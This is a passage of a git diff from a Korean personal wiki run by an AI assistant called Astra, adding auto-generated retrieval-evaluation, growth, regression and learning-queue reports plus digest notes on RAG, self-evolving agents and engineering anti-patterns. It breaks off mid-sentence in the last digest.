@@ -0,0 +1,59 @@ +# Astra 검색 평가 리포트 + +- 두뇌: **Local Brain** +- 일시: 2026. 6. 17. 오후 7:10:22 +- 임베딩: (없음 — TF-IDF only) +- 질의 수: 24 +- 메모: 주간 자동 사이클 (TF-IDF 경로) + +## 종합 지표 + +| 지표 | 값 | +|---|---| +| recall@1 | 66.7% | +| recall@3 | 83.3% | +| recall@5 | 87.5% | +| MRR | 0.760 | + +> recall@k = 기대 문서가 상위 k개 안에 든 질의 비율. MRR = 첫 정답의 1/순위 평균 (1에 가까울수록 좋음). + +## 질의별 상세 + +| # | 질의 | 첫 정답 순위 | top-k hit | 기대 문서 | +|---|---|---|---|---| +| 1 | 긴 문서를 검색용으로 어떻게 잘게 나눠 인덱싱하지? | **miss** | @1✗ @3✗ @5✗ | 문서 청킹 전략.md, 청킹 전략.md | +| 2 | RecursiveCharacterTextSplitter 같은 재귀적 문자 분할은 어떻게 동작해? | #1 | @1✓ @3✓ @5✓ | 재귀적 문자 분할.md | +| 3 | 키워드 검색과 벡터 검색을 함께 쓰는 하이브리드 방식 | #2 | @1✗ @3✓ @5✓ | 하이브리드 검색.md | +| 4 | 벡터 데이터베이스는 어떤 기준으로 비교해서 골라야 하나 | #1 | @1✓ @3✓ @5✓ | 벡터 데이터베이스.md | +| 5 | 텍스트 임베딩 모델 선택 기준과 종류 | #1 | @1✓ @3✓ @5✓ | 임베딩 모델.md, 텍스트 임베딩 모델.md | +| 6 | 검색 결과를 다시 정렬하는 reranker 재랭킹 기법 | #1 | @1✓ @3✓ @5✓ | Re-ranking.md, Reranker.md | +| 7 | RAG 성능을 RAGAS로 정량 평가하는 지표들 | #1 | @1✓ @3✓ @5✓ | RAGAS 평가 지표.md, RAGAS.md | +| 8 | LLM을 심판으로 써서 답변 품질을 평가하는 방법 | **miss** | @1✗ @3✗ @5✗ | LLM-as-a-Judge.md | +| 9 | 검색된 컨텍스트의 정밀도 precision은 어떻게 측정하나 | #2 | @1✗ @3✓ @5✓ | Context Precision.md | +| 10 | context recall 지표가 의미하는 것 | #1 | @1✓ @3✓ @5✓ | Context Recall.md | +| 11 | 에이전트가 스스로 검색을 도구로 호출하는 Agentic RAG | #1 | @1✓ @3✓ @5✓ | Agentic RAG.md | +| 12 | 지식 그래프 기반 GraphRAG 동작 원리 | #2 | @1✗ @3✓ @5✓ | GraphRAG.md | +| 13 | 검색이 부실할 때 교정하는 Corrective RAG | **miss** | @1✗ @3✗ @5✗ | CRAG.md | +| 14 | 지식 그래프와 그래프 데이터베이스 개념 | #1 | @1✓ @3✓ @5✓ | 지식 그래프.md, 그래프 데이터베이스.md | +| 15 | 문서에서 개체(엔티티)와 관계를 추출하는 방법 | #1 | @1✓ @3✓ @5✓ | 개체 및 관계 추출.md | +| 16 | 전처리 단계에서 텍스트 정규화를 어떻게 하나 | #1 | @1✓ @3✓ @5✓ | 텍스트 정규화.md | +| 17 | 토크나이저는 어떻게 텍스트를 토큰으로 쪼개나 | #1 | @1✓ @3✓ @5✓ | 텍스트 토크나이저.md | +| 18 | RAG 전체 파이프라인 아키텍처와 구성 요소 | #1 | @1✓ @3✓ @5✓ | RAG 아키텍처 및 파이프라인 기초.md, RAG 아키텍처.md, RAG 파이프라인.md | +| 19 | 고급 RAG 기법 정리 | #1 | @1✓ @3✓ @5✓ | Advanced RAG 기법.md | +| 20 | 데이터 인덱싱과 오케스트레이션 파이프라인 | #1 | @1✓ @3✓ @5✓ | 데이터 인덱싱 및 오케스트레이션.md | +| 21 | LangChain으로 RAG 구현하기 | #4 | @1✗ @3✗ @5✓ | LangChain.md | +| 22 | LlamaIndex 프레임워크로 문서 검색 | #2 | @1✗ @3✓ @5✓ | LlamaIndex.md | +| 23 | 데이터셋 버전 관리 DVC | #1 | @1✓ @3✓ @5✓ | 데이터 버전 관리.md | +| 24 | LLM 운영 LLMOps 베스트프랙티스 | #1 | @1✓ @3✓ @5✓ | LLMOps.md, MLOps.md | + +## Miss 진단 (top 결과가 기대와 어긋난 질의) + +- **긴 문서를 검색용으로 어떻게 잘게 나눠 인덱싱하지?** + - 기대: 문서 청킹 전략.md, 청킹 전략.md + - 실제 상위: Poetic_Blog_Writing\062_긴_문장의_물결감.md · Poetic_Blog_Writing\222_긴_글에서_집중_유지하기.md · AI_and_ML\P-Reinforce 위키 포맷 정본.md · Topics_Rag\벡터 데이터베이스.md · Coding\Python\_MOC.md +- **LLM을 심판으로 써서 답변 품질을 평가하는 방법** + - 기대: LLM-as-a-Judge.md + - 실제 상위: Coding\AI_LLM_Cost_Optimization.md · DevOps_and_Security\코드 서식 지정과 축소가 코드 스타일로메트리(작성자 인식)에 미치는 영향을 평가하는 기계 학습 모델 분류 연구.md · AI_and_ML\AI Connect LLM Tool.md · Comfyui\Comfyui workflow json 생성 방법.md · Comfyui\Large Language Models (LLM).md +- **검색이 부실할 때 교정하는 Corrective RAG** + - 기대: CRAG.md + - 실제 상위: Topics_Rag\Agentic RAG.md · Topics_Rag\RAG 아키텍처 및 파이프라인 기초.md · Topics_Rag\Advanced RAG 기법.md · Coding\AI_RAG_Advanced.md · Comfyui\Retrieval-Augmented Generation (RAG) for Nodes.md diff --git a/10_Wiki/Topics/.astra/growth/conflict-scan-state.json b/10_Wiki/Topics/.astra/growth/conflict-scan-state.json index 8d33044d..dd5f7fa9 100644 --- a/10_Wiki/Topics/.astra/growth/conflict-scan-state.json +++ b/10_Wiki/Topics/.astra/growth/conflict-scan-state.json @@ -1 +1 @@ -{"lastScanMs":1781546454140} +{"lastScanMs":1781805707217} diff --git a/10_Wiki/Topics/.astra/growth/decay-report.md b/10_Wiki/Topics/.astra/growth/decay-report.md index d4995c79..807865e8 100644 --- a/10_Wiki/Topics/.astra/growth/decay-report.md +++ b/10_Wiki/Topics/.astra/growth/decay-report.md @@ -1,8 +1,8 @@ # 지식 노후 점검 (Knowledge Decay) -- 두뇌: Topics · 일시: 2026. 6. 14. 오후 8:00:23 +- 두뇌: Local Brain · 일시: 2026. 6. 17. 오후 7:10:22 - 분야별 반감기: AI/기술 30일 · SEO 90일 · 시장/트렌드·회의 180일 · 일반 365일 -## 요약 — 신선 5465 · 노화 중 572 · **노후 0** +## 요약 — 신선 5454 · 노화 중 589 · **노후 0** 노후(stale) 지식 없음. diff --git a/10_Wiki/Topics/.astra/growth/growth-report.md b/10_Wiki/Topics/.astra/growth/growth-report.md index a99a826d..0c513335 100644 --- a/10_Wiki/Topics/.astra/growth/growth-report.md +++ b/10_Wiki/Topics/.astra/growth/growth-report.md @@ -1,10 +1,11 @@ # ASTRA 성장 리포트 (Reflection 기반) -총 업무 turn: 5 +총 업무 turn: 12 | 주 (시작일) | 업무 수 | 평균 확신도 | 요소 누락률 | 에스컬레이션 | |---|---|---|---|---| | 2026-06-07 | 5 | 62 | 80% | 3 | +| 2026-06-14 | 7 | 79 | 0% | 0 | ## 반복 실수 Top (Failure Patterns) - 회의록 · **참석자** 누락 3회 @@ -19,6 +20,9 @@ | 업무 | Score | 추세 | 전반기→후반기 | 표본 | |---|---|---|---|---| +| 코딩 | **90** | → 유지 | 90→90 | 3 | +| 리서치·분석 | **90** | → 유지 | 90→90 | 2 | +| 일반 업무 | **88** | → 유지 | 90→85 | 2 | | 업무조사 | **53** | → 유지 | 0→53 | 1 | | 일정 관리 | **52** | → 유지 | 0→52 | 1 | | 회의록 | **40** | → 유지 | 33→44 | 3 | diff --git a/10_Wiki/Topics/.astra/growth/learning-needs.md b/10_Wiki/Topics/.astra/growth/learning-needs.md index aa992920..81d573b6 100644 --- a/10_Wiki/Topics/.astra/growth/learning-needs.md +++ b/10_Wiki/Topics/.astra/growth/learning-needs.md @@ -4,9 +4,12 @@ | 우선순위 | 업무 | Need Score | 표본 | 근거 | |---|---|---|---|---| -| 1 | 회의록 | **42** | 3 | 요소 누락률 100% · 평균 확신도 67 · 자주 누락: 참석자, 기한 | -| 2 | 업무조사 | **34** | 1 | 요소 누락률 100% · 평균 확신도 66 · 자주 누락: 조사 목적, 세부 내용 | -| 3 | 일정 관리 | **12** | 1 | 평균 확신도 44 | +| 1 | 회의록 | **35** | 3 | 요소 누락률 100% · 평균 확신도 67 · 자주 누락: 참석자, 기한 | +| 2 | 업무조사 | **32** | 1 | 요소 누락률 100% · 평균 확신도 66 · 자주 누락: 조사 목적, 세부 내용 | +| 3 | 일정 관리 | **10** | 1 | 평균 확신도 44 | +| 4 | 코딩 | **8** | 3 | 특이 신호 없음 (빈도 기반) | +| 5 | 일반 업무 | **7** | 2 | 특이 신호 없음 (빈도 기반) | +| 6 | 리서치·분석 | **6** | 2 | 특이 신호 없음 (빈도 기반) | ## Knowledge Inventory (지식 보유 상태) @@ -15,6 +18,9 @@ | 업무조사 | 보유 | 12.0 | 0.90 | | 일정 관리 | 부족 | 2.0 | 0.93 | | 회의록 | 보유 | 6.7 | 0.94 | +| 코딩 | 보유 | 11.7 | 0.99 | +| 일반 업무 | 보유 | 12.0 | 1.03 | +| 리서치·분석 | 보유 | 8.0 | 1.03 | ## Knowledge Debt (지식 부채) @@ -29,6 +35,9 @@ approved 항목은 Research Agent(후속 증분)가 처리합니다. 시스템 | 우선순위 | 주제 | 상태 | 근거 | |---|---|---|---| -| 42 | 회의록 역량 보강 (자주 누락: 참석자, 기한) | proposed | 요소 누락률 100% · 평균 확신도 67 · 자주 누락: 참석자, 기한 | -| 34 | 업무조사 역량 보강 (자주 누락: 조사 목적, 세부 내용) | proposed | 요소 누락률 100% · 평균 확신도 66 · 자주 누락: 조사 목적, 세부 내용 | -| 12 | 일정 관리 역량 보강 | proposed | 평균 확신도 44 | +| 35 | 회의록 역량 보강 (자주 누락: 참석자, 기한) | proposed | 요소 누락률 100% · 평균 확신도 67 · 자주 누락: 참석자, 기한 | +| 32 | 업무조사 역량 보강 (자주 누락: 조사 목적, 세부 내용) | proposed | 요소 누락률 100% · 평균 확신도 66 · 자주 누락: 조사 목적, 세부 내용 | +| 10 | 일정 관리 역량 보강 | proposed | 평균 확신도 44 | +| 8 | 코딩 역량 보강 | proposed | 특이 신호 없음 (빈도 기반) | +| 7 | 일반 업무 역량 보강 | proposed | 특이 신호 없음 (빈도 기반) | +| 6 | 리서치·분석 역량 보강 | proposed | 특이 신호 없음 (빈도 기반) | diff --git a/10_Wiki/Topics/.astra/growth/learning-queue.json b/10_Wiki/Topics/.astra/growth/learning-queue.json index d48a6a90..3d01b4a3 100644 --- a/10_Wiki/Topics/.astra/growth/learning-queue.json +++ b/10_Wiki/Topics/.astra/growth/learning-queue.json @@ -2,28 +2,55 @@ { "id": "need-meeting-minutes", "topic": "회의록 역량 보강 (자주 누락: 참석자, 기한)", - "priority": 42, + "priority": 35, "reason": "요소 누락률 100% · 평균 확신도 67 · 자주 누락: 참석자, 기한", "status": "proposed", "createdAt": "2026-06-14T11:00:23.846Z", - "updatedAt": "2026-06-14T11:00:23.846Z" + "updatedAt": "2026-06-17T10:10:22.905Z" }, { "id": "need-work-research", "topic": "업무조사 역량 보강 (자주 누락: 조사 목적, 세부 내용)", - "priority": 34, + "priority": 32, "reason": "요소 누락률 100% · 평균 확신도 66 · 자주 누락: 조사 목적, 세부 내용", "status": "proposed", "createdAt": "2026-06-14T11:00:23.846Z", - "updatedAt": "2026-06-14T11:00:23.846Z" + "updatedAt": "2026-06-17T10:10:22.905Z" }, { "id": "need-schedule", "topic": "일정 관리 역량 보강", - "priority": 12, + "priority": 10, "reason": "평균 확신도 44", "status": "proposed", "createdAt": "2026-06-14T11:00:23.846Z", - "updatedAt": "2026-06-14T11:00:23.846Z" + "updatedAt": "2026-06-17T10:10:22.905Z" + }, + { + "id": "need-coding", + "topic": "코딩 역량 보강", + "priority": 8, + "reason": "특이 신호 없음 (빈도 기반)", + "status": "proposed", + "createdAt": "2026-06-17T10:10:22.905Z", + "updatedAt": "2026-06-17T10:10:22.905Z" + }, + { + "id": "need-general", + "topic": "일반 업무 역량 보강", + "priority": 7, + "reason": "특이 신호 없음 (빈도 기반)", + "status": "proposed", + "createdAt": "2026-06-17T10:10:22.905Z", + "updatedAt": "2026-06-17T10:10:22.905Z" + }, + { + "id": "need-research", + "topic": "리서치·분석 역량 보강", + "priority": 6, + "reason": "특이 신호 없음 (빈도 기반)", + "status": "proposed", + "createdAt": "2026-06-17T10:10:22.905Z", + "updatedAt": "2026-06-17T10:10:22.905Z" } ] diff --git a/10_Wiki/Topics/.astra/growth/regression-report.md b/10_Wiki/Topics/.astra/growth/regression-report.md new file mode 100644 index 00000000..615c7d52 --- /dev/null +++ b/10_Wiki/Topics/.astra/growth/regression-report.md @@ -0,0 +1,10 @@ +# 정정 회귀 리포트 — 2026. 6. 17. 오후 7:10:22 + +과거 사용자 정정(Ground Truth)을 같은 질문으로 재검사한 결과. + +| 결과 | 유형 | 질문 | 비고 | +|---|---|---|---| +| ✅ 통과 | 지시불이행 | 일단 조건을 하나 더 추가할께. 계열사는 하고 싶어 하지 않아. 우리한테 업무를 주는게 추가 업무로 이어진 | 새 답변에 오류 반복 여부를 판단할 근거가 없음 | +| ❌ 재발 | 맥락누락 | 3주에서 5주면, 2배인거자나? +/- 오차 범위가 너무 넓어 | 영상 길이에 대한 맥락을 무시하고 기존 오류 반복 | +| ❌ 재발 | 기타 | 1분 30초 말하는거야 3분 30초가 아니라 | 영상 길이를 1분 30초로 인지했으나 기간 오류 반복 | +| ❌ 재발 | 사실오류 | /meet D:\Meet\p.txt | 사용자가 CCOC가 아닌 SISIHOSI로 정정했으나 오류 반복함 | \ No newline at end of file diff --git a/10_Wiki/Topics/.astra/growth/weakness-profile.json b/10_Wiki/Topics/.astra/growth/weakness-profile.json new file mode 100644 index 00000000..6e8b1fcc --- /dev/null +++ b/10_Wiki/Topics/.astra/growth/weakness-profile.json @@ -0,0 +1,26 @@ +{ + "updatedAt": "2026-06-17T10:10:22.905Z", + "totalCases": 4, + "tagCounts": [ + { + "tag": "지시불이행", + "count": 1, + "example": "요구한 구성 요소(기대 효과)를 누락하고 다른 포맷으로 작성함" + }, + { + "tag": "맥락누락", + "count": 1, + "example": "대화의 주제(기간/오차범위)와 다른 내용(영상 길이)을 놓침" + }, + { + "tag": "기타", + "count": 1, + "example": "수치 오류를 바로잡기 위한 논리적 근거 재검토 필요" + }, + { + "tag": "사실오류", + "count": 1, + "example": "ccoc가 아니라 SISIHOSI야" + } + ] +} diff --git a/10_Wiki/Topics/.astra/project-context/architecture.md b/10_Wiki/Topics/.astra/project-context/architecture.md index 701baf6d..cc92b5ff 100644 --- a/10_Wiki/Topics/.astra/project-context/architecture.md +++ b/10_Wiki/Topics/.astra/project-context/architecture.md @@ -11,9 +11,15 @@ - **Stats**: 9 source files, ~159 lines across 1 top-level modules. ## Last Refresh -- **Time**: 2026-06-12T14:37:36.125Z -- **Files newly analysed**: 1 -- **Files reused from cache**: 8 +- **Time**: 2026-06-15T06:09:01.070Z +- **Files newly analysed**: 9 +- **Files reused from cache**: 0 +- **Files deleted since last refresh** (5): + - `docs/records/Topics/bugs/BUG-0001-이-내용-검토해줘-위험-요소는-없는지-우리-의도대로-위키화-작업이-되는지-import-os-topics-di.md` + - `docs/records/Topics/bugs/BUG-0002-아래-내용-확인해줘-아래와-같은-답변을-받는데-내용이-다-좋아-근대-어느-내용에-내가-집중해야하는것인지-내가.md` + - `docs/records/Topics/decisions/ADR-0001-volumes-data-project-antigravity-wiki-10-wiki-topics-제2뇌의-지식.md` + - `docs/records/Topics/decisions/ADR-0002-volumes-data-project-antigravity-wiki-10-wiki-topics-여기에-내가-.md` + - `docs/records/Topics/decisions/ADR-0003-volumes-data-project-antigravity-wiki-10-wiki-topics-여기-하위에-.md` ## Directory Map ```mermaid @@ -28,20 +34,20 @@ mindmap ### `docs/` — 9 files, ~159 lines **Sub-directories** -- `docs/records/` (9) — Topics Chronicle Records +- `docs/records/` (9) — Bug: 이 내용 검토해줘. 위험 요소는 없는지. 우리 의도대로 위키화 작업이 되는지. import os topicsdir = "/Volumes/Dat... **Key files** -- `docs/records/Topics/README.md` (18 lines) — Topics Chronicle Records -- `docs/records/Topics/bugs/BUG-0001-이-내용-검토해줘-위험-요소는-없는지-우리-의도대로-위키화-작업이-되는지-import-os-topics-di.md` (16 lines) — Bug: 이 내용 검토해줘. 위험 요소는 없는지. 우리 의도대로 위키화 작업이 되는지. import os topicsdir = "/Volumes/Dat... -- `docs/records/Topics/bugs/BUG-0002-아래-내용-확인해줘-아래와-같은-답변을-받는데-내용이-다-좋아-근대-어느-내용에-내가-집중해야하는것인지-내가.md` (16 lines) — Bug: 아래 내용 확인해줘. 아래와 같은 답변을 받는데. 내용이 다 좋아. 근대 어느 내용에 내가 집중해야하는것인지 내가 잘 모르겠어. 조금만 더 깔끔... +- `docs/records/Topics/bugs/BUG-0001-이-내용-검토해줘-위험-요소는-없는지-우리-의도대로-위키화-작업이-되는지-import-os-topics-di.md` (16 lines) — Bug: 이 내용 검토해줘. 위험 요소는 없는지. 우리 의도대로 위키화 작업이 되는지. import os topicsdir = "/Volumes/Dat... +- `docs/records/Topics/bugs/BUG-0002-아래-내용-확인해줘-아래와-같은-답변을-받는데-내용이-다-좋아-근대-어느-내용에-내가-집중해야하는것인지-내가.md` (16 lines) — Bug: 아래 내용 확인해줘. 아래와 같은 답변을 받는데. 내용이 다 좋아. 근대 어느 내용에 내가 집중해야하는것인지 내가 잘 모르겠어. 조금만 더 깔끔... - `docs/records/Topics/chronicle.config.json` (11 lines) — JSON configuration -- `docs/records/Topics/decisions/ADR-0001-volumes-data-project-antigravity-wiki-10-wiki-topics-제2뇌의-지식.md` (19 lines) — ADR: /Volumes/Data/project/Antigravity/Wiki/10Wiki/Topics 제2뇌의 지식이 정보 간의 연결성(Interco... -- `docs/records/Topics/decisions/ADR-0002-volumes-data-project-antigravity-wiki-10-wiki-topics-여기에-내가-.md` (19 lines) — ADR: /Volumes/Data/project/Antigravity/Wiki/10Wiki/Topics 여기에 내가 계속 새로운 지식 즉, 예로 능동적... -- `docs/records/Topics/decisions/ADR-0003-volumes-data-project-antigravity-wiki-10-wiki-topics-여기-하위에-.md` (19 lines) — ADR: /Volumes/Data/project/Antigravity/Wiki/10Wiki/Topics 여기 하위에 지식 연결이 없는 문서들이 있어. ... +- `docs/records/Topics/decisions/ADR-0001-volumes-data-project-antigravity-wiki-10-wiki-topics-제2뇌의-지식.md` (19 lines) — ADR: /Volumes/Data/project/Antigravity/Wiki/10Wiki/Topics 제2뇌의 지식이 정보 간의 연결성(Interco... +- `docs/records/Topics/decisions/ADR-0002-volumes-data-project-antigravity-wiki-10-wiki-topics-여기에-내가-.md` (19 lines) — ADR: /Volumes/Data/project/Antigravity/Wiki/10Wiki/Topics 여기에 내가 계속 새로운 지식 즉, 예로 능동적... +- `docs/records/Topics/decisions/ADR-0003-volumes-data-project-antigravity-wiki-10-wiki-topics-여기-하위에-.md` (19 lines) — ADR: /Volumes/Data/project/Antigravity/Wiki/10Wiki/Topics 여기 하위에 지식 연결이 없는 문서들이 있어. ... - `docs/records/Topics/project-profile.md` (31 lines) — Project Profile +- `docs/records/Topics/README.md` (18 lines) — Topics Chronicle Records - `docs/records/Topics/timeline.md` (10 lines) — Project Timeline -_Last auto-scan: 2026-06-12T14:37:36.125Z · signature `467d2bf1`_ +_Last auto-scan: 2026-06-15T06:09:01.070Z · signature `467d2bf1`_ ## Purpose diff --git a/10_Wiki/Topics/.astra/project-context/scan-cache.json b/10_Wiki/Topics/.astra/project-context/scan-cache.json index f45d9405..da4339a9 100644 --- a/10_Wiki/Topics/.astra/project-context/scan-cache.json +++ b/10_Wiki/Topics/.astra/project-context/scan-cache.json @@ -1,66 +1,66 @@ { "version": 1, - "generatedAt": "2026-06-12T14:37:36.125Z", + "generatedAt": "2026-06-15T06:09:01.200Z", "files": { - "docs/records/Topics/README.md": { - "mtimeMs": 1777961554000, - "size": 443, - "lines": 18, - "role": "Topics Chronicle Records", - "imports": [] - }, - "docs/records/Topics/bugs/BUG-0001-이-내용-검토해줘-위험-요소는-없는지-우리-의도대로-위키화-작업이-되는지-import-os-topics-di.md": { - "mtimeMs": 1777961554000, - "size": 2153, + "docs/records/Topics/bugs/BUG-0001-이-내용-검토해줘-위험-요소는-없는지-우리-의도대로-위키화-작업이-되는지-import-os-topics-di.md": { + "mtimeMs": 1778029080050.159, + "size": 2169, "lines": 16, "role": "Bug: 이 내용 검토해줘. 위험 요소는 없는지. 우리 의도대로 위키화 작업이 되는지. import os topicsdir = \"/Volumes/Dat...", "imports": [] }, - "docs/records/Topics/bugs/BUG-0002-아래-내용-확인해줘-아래와-같은-답변을-받는데-내용이-다-좋아-근대-어느-내용에-내가-집중해야하는것인지-내가.md": { - "mtimeMs": 1777963191000, - "size": 2883, + "docs/records/Topics/bugs/BUG-0002-아래-내용-확인해줘-아래와-같은-답변을-받는데-내용이-다-좋아-근대-어느-내용에-내가-집중해야하는것인지-내가.md": { + "mtimeMs": 1778029080050.159, + "size": 2899, "lines": 16, "role": "Bug: 아래 내용 확인해줘. 아래와 같은 답변을 받는데. 내용이 다 좋아. 근대 어느 내용에 내가 집중해야하는것인지 내가 잘 모르겠어. 조금만 더 깔끔...", "imports": [] }, "docs/records/Topics/chronicle.config.json": { - "mtimeMs": 1781275049000, - "size": 427, + "mtimeMs": 1781492239792.1636, + "size": 438, "lines": 11, "role": "JSON configuration", "imports": [] }, - "docs/records/Topics/decisions/ADR-0001-volumes-data-project-antigravity-wiki-10-wiki-topics-제2뇌의-지식.md": { - "mtimeMs": 1777877200000, - "size": 1541, + "docs/records/Topics/decisions/ADR-0001-volumes-data-project-antigravity-wiki-10-wiki-topics-제2뇌의-지식.md": { + "mtimeMs": 1778029080051.6616, + "size": 1560, "lines": 19, "role": "ADR: /Volumes/Data/project/Antigravity/Wiki/10Wiki/Topics 제2뇌의 지식이 정보 간의 연결성(Interco...", "imports": [] }, - "docs/records/Topics/decisions/ADR-0002-volumes-data-project-antigravity-wiki-10-wiki-topics-여기에-내가-.md": { - "mtimeMs": 1777891599000, - "size": 1787, + "docs/records/Topics/decisions/ADR-0002-volumes-data-project-antigravity-wiki-10-wiki-topics-여기에-내가-.md": { + "mtimeMs": 1778029080052.181, + "size": 1806, "lines": 19, "role": "ADR: /Volumes/Data/project/Antigravity/Wiki/10Wiki/Topics 여기에 내가 계속 새로운 지식 즉, 예로 능동적...", "imports": [] }, - "docs/records/Topics/decisions/ADR-0003-volumes-data-project-antigravity-wiki-10-wiki-topics-여기-하위에-.md": { - "mtimeMs": 1777951122000, - "size": 1690, + "docs/records/Topics/decisions/ADR-0003-volumes-data-project-antigravity-wiki-10-wiki-topics-여기-하위에-.md": { + "mtimeMs": 1778029080052.6975, + "size": 1709, "lines": 19, "role": "ADR: /Volumes/Data/project/Antigravity/Wiki/10Wiki/Topics 여기 하위에 지식 연결이 없는 문서들이 있어. ...", "imports": [] }, "docs/records/Topics/project-profile.md": { - "mtimeMs": 1777961554000, - "size": 600, + "mtimeMs": 1778029080053.7246, + "size": 631, "lines": 31, "role": "Project Profile", "imports": [] }, + "docs/records/Topics/README.md": { + "mtimeMs": 1778029080048.9976, + "size": 461, + "lines": 18, + "role": "Topics Chronicle Records", + "imports": [] + }, "docs/records/Topics/timeline.md": { - "mtimeMs": 1777963191000, - "size": 482, + "mtimeMs": 1778029080054.2383, + "size": 492, "lines": 10, "role": "Project Timeline", "imports": [] diff --git a/10_Wiki/Topics/ASTRA 기능 인벤토리.md b/10_Wiki/Topics/ASTRA 기능 인벤토리.md index cf27ddf0..71ac099a 100644 --- a/10_Wiki/Topics/ASTRA 기능 인벤토리.md +++ b/10_Wiki/Topics/ASTRA 기능 인벤토리.md @@ -1,12 +1,12 @@ --- type: reference title: "ASTRA 기능 인벤토리 (자동 생성)" -version: "0.0.72" -generated_at: 2026-06-16T00:54:06.133Z +version: "0.0.78" +generated_at: 2026-06-17T09:58:45.959Z aliases: ["ASTRA 기능 목록", "ASTRA 명령어", "내 기능", "ASTRA가 할 수 있는 것", "기능 인벤토리", "ASTRA capabilities"] --- -# ASTRA 기능 인벤토리 — v0.0.72 (자동 생성) +# ASTRA 기능 인벤토리 — v0.0.78 (자동 생성) > ⚙️ 이 문서는 Astra 활성화 시 **소스 코드(package.json)에서 기계 생성**됩니다 — 수동 편집 금지 (버전 변경 시 덮어씀). > 자기 기능에 대한 질문·자기 개선 제안은 이 문서가 **항상 현행** 근거입니다. 서사적 설명은 [[ASTRA 자기 아키텍처]] 참고. diff --git a/10_Wiki/Topics/Digests/Topic_Agent.md b/10_Wiki/Topics/Digests/Topic_Agent.md new file mode 100644 index 00000000..75dadb53 --- /dev/null +++ b/10_Wiki/Topics/Digests/Topic_Agent.md @@ -0,0 +1,27 @@ +--- +type: digest +title: "소화 노트: Topic_Agent" +generated_at: 2026-06-18T18:01:28.797Z +sources: ["self envolving", "self evolving", "Value Proposition Canvas", "Zero-Trust Foundation Models"] +--- + +# 소화 노트: Topic_Agent + +> ⚙️ 자동 생성 (sleep-time 사전 소화) — **원문이 항상 우선**입니다. 소스가 바뀌면 자동 재생성되며, 이 파일은 삭제해도 안전합니다. + +## 예상 질문과 답 +- **Q: Self-Evolving Agent(자가 진화 에이전트)란 무엇이며, 기존 LLM과 무엇이 다른가요?** — A: 정적인 모델의 한계를 넘어, 인간의 개입 없이 스스로 코드, 도구, 아키텍처를 재설계하여 성능을 개선하는 지능형 시스템입니다. 기존 모델이 고정된 파이프라인을 따르는 것과 달리, 실시간 데이터와 경험을 통해 자율적으로 변화합니다. [self envolving / self-evolving] +- **Q: Value Proposition Canvas(VPC)를 사용할 때 '검증 공백'이 발생하는 경우는 언제인가요?** — A: 제품의 고통 완화제(Pain Relievers)가 고객의 최상위 3개 과업(Jobs-to-be-Done)과 제대로 연결되지 않을 때 발생합니다. [Value Proposition Canvas] +- **Q: Zero-Trust Foundation Models(ZTFM)의 핵심 보안 원칙은 무엇인가요?** — A: '지속적 검증'과 '최소 권한 원칙'입니다. 에이전트의 모든 상호작용을 매번 확인하고, 임무 수행에 필요한 최소한의 권한만 부여하여 피해를 최소화합니다. [Zero-Trust Foundation Models] +- **Q: 자가 진화 에이전트에서 '재귀적 자가 설계(Recursive Self-Design)'는 어떤 의미인가요?** — A: 단순히 하이퍼파라미터를 최적화하는 수준을 넘어, 에이전트의 프롬프트 정책, 워크플로우, 실행 메커니즘 등 시스템의 스캐폴드 자체를 수정 대상으로 삼는 것을 의미합니다. [self envolving / self-evolving] +- **Q: VPC를 통해 제품 개발 과정에서 수행할 수 있는 검증 단계는 무엇인가요?** — A: 문제 검증(문제가 해결 가치가 있는가), 솔루션 검증(해결책이 근본 원인을 해결하는가), 비즈니스 모델 검증(고객이 실제 비용을 지불하는가)의 3단계 계층 구조를 따릅니다. [Value Proposition Canvas] + +## 핵심 사실 +- **Self-Evolving Agent의 진화 차원**: 무엇을(모델/정책, 컨텍스트/메모리, 도구/기술), 언제(실행 중 진화 vs 실행 간 진화) 진화시킬 것인지가 핵심입니다. [self envolving / self-evolving] +- **VPC의 전략적 가치**: 제품 기능과 고객 요구 사이의 정렬을 시각화하여 '문제-해액 적합성'을 검증하고 자본 효율성을 극대화합니다. [Value Proposition Canvas] +- **ZTFM의 적용 분야**: 6G 생태계 및 IoT 환경에서 에이전트 간의 안전한 협업과 적대적 공격으로부터 시스템을 보호하는 데 필수적인 인프라입니다. [Zero-Trust Foundation Models] + +## 문서 간 연결 +- **기술적 상호보완성**: `self-evolving` 기술은 자율성이 높아지는 만큼 보안 위협이 커지므로, 이를 방어하기 위한 `Zero-Trust Foundation Models`의 도입이 필수적인 관계에 있습니다. +- **비즈니스와 기술의 결합**: `Value Proposition Canvas`는 제품의 가치를 정의하는 도구이며, `self-evolving` 에이전트가 생성하는 새로운 기능이나 '도구 제작(Tool Maker)' 패턴은 이러한 가치 제안을 실현하는 기술적 수단이 될 수 있습니다. +- **패턴의 공통성**: 여러 문서에서 '자율적 학습', '재귀적 구조', '지속적 검증'과 같은 자동화된 피드백 루프와 자기 개선(Self-improvement) 메커즘을 공통적으로 다루고 있습니다. diff --git a/10_Wiki/Topics/Digests/Topic_Programming--Engineering_Intelligence.md b/10_Wiki/Topics/Digests/Topic_Programming--Engineering_Intelligence.md new file mode 100644 index 00000000..ef427e7a --- /dev/null +++ b/10_Wiki/Topics/Digests/Topic_Programming--Engineering_Intelligence.md @@ -0,0 +1,30 @@ +--- +type: digest +title: "소화 노트: Topic_Programming/Engineering_Intelligence" +generated_at: 2026-06-18T18:01:19.599Z +sources: ["안티패턴_카탈로그", "엔지니어링_트레이드오프_분석", "아키텍처_휴리스틱", "디버깅_플레이북"] +--- + +# 소화 노트: Topic_Programming/Engineering_Intelligence + +> ⚙️ 자동 생성 (sleep-time 사전 소화) — **원문이 항상 우선**입니다. 소스가 바뀌면 자동 재생성되며, 이 파일은 삭제해도 안전합니다. + +## 예상 질문과 답 +- **Q: 코드를 작성할 때 에러를 `try { ... } catch {}`로 처리하면 왜 위험한가요?** — A: 에러를 이유 없이 삼키면(Silent swallow) 실패가 숨겨져 디버깅이 불가능해지고 시스템이 잘못된 상태로 진행될 수 있기 때문입니다. 단, 부가 작업에 한해 이유를 주석으로 명시하고 처리하는 것은 허용됩니다. [안티패턴 카탈로그] +- **Q: 에이전트 설계를 할 때 '에이전트 남발'을 피하기 위한 기본 원칙은 무엇인가요?** — A: 기본값은 "에이전트를 늘리지 않는 것"입니다. 문제마다 새 페르소나를 추가하면 컨텍스트 누적, 자원 폭증, 디버깅 난해 등의 문제가 발생하므로, 단일 작성자가 다중 역할을 수행하거나 정말 필요한 경우에만 순차적으로 협업하도록 설계해야 합니다. [안티패턴 카탈로그, 아키텍처 휴리스틱] +- **Q: 5계층 메모리 시스템에서 발생할 수 